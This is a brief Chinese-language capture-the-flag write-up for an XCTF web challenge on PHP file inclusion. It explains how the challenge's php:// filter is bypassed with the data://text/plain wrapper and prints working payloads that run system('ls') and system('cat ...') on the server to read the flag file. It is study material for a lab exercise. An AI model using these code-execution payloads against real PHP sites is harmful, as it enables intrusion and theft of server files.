一、题目链接
https://adworld.xctf.org.cn/challenges/list?rwNmOdr=1691398818171
二、解法步骤
本题依旧是文件包含,但是这题不同,
while (strstr($page, "php://")) {
$page=str_replace("php://", "", $page);
}
这条语句过滤掉了以往的php://filter/read=convert.base64-encode/resource=flag.php
方式。绕过方式就是换一个伪协议,比如将php://换成data://text/plain,
。
payload:?page=data://text/plain,<? system('ls;');?>
然后尝试cat fl4gisisish3r3.php:
?page=data://text/plain,<?php system('cat fl4gisisish3r3.php');?>
,如果页面没显示出来,就用bp抓包:
得到flag。
三、总结
本题是对文件包含的其他伪协议的运用,例如data://text/plain,<?php 代码?>
,积累下来吧。